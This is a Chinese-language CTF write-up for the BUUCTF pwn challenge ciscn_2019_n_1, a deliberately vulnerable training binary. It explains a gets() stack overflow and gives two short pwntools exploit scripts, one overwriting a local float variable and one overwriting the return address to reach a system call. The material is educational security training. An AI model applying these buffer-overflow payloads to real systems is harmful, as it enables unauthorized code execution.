[BUUCTF-pwn]——ciscn_2019_n_1

[BUUCTF-pwn]——ciscn_2019_n_1

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_1
  • 题目:在这里插入图片描述
    老规矩下载下来后,在Linux上checksec一下,64位,并且没有开启栈保护,意味着我们可以利用栈溢出
    在这里插入图片描述
    在IDA中看一下,main函数里面没有什么可以利用的
    在这里插入图片描述
    双击func函数看看,就是我们想要的。在这里插入图片描述

思路一 —— 覆盖局部变量

我们只需要让v2的值等于11.28125即可。而v2又没有办法直接输入,但是v1是利用gets这个典型的栈溢出函数输入的。v2和v1之间的距离为0x30 - 0x4。下面我们只需要计算一下11.28125的16进制储存方式就好。

11.28125 转换为二进制为 1011.01001
11.28125 在计算机内部储存为 0100 0001 0011 0100 1000 0000 0000 000011.28125 ==> 0x41348000

也可以用代码计算

#include <stdio.h>
int main()
{
	float a = 11.28125;
	unsigned char *p = (unsigned char*)&a;
	printf("0X%02x%02x%02x%02x",(int)p[3],(int)p[2],(int)p[1],(int)p[0]);
	return 0;
}

这个思路的exploit就是

from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ans = 0x41348000
payload = 'a'*(0x30 - 0x4) + p64(ans)
p.sendline(payload)
p.interactive()

思路二 —— 覆盖返回地址

找到func函数,在里面找到system函数的位置,覆盖返回地址。找到system函数压参数的位置0x4006BE,v1距离ebp 0x30,ebp8个字节在这里插入图片描述
所以该思路的expolit可以这样写

from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0x4006BE
payload = 'a'*(0x30 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()

总体来说,两个思路都很简单,不过第一个需要算那个十六进制有点麻烦,还百度查看了一下,浮点数的储存。

有帮助就点个赞呀 😃

  • 12
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值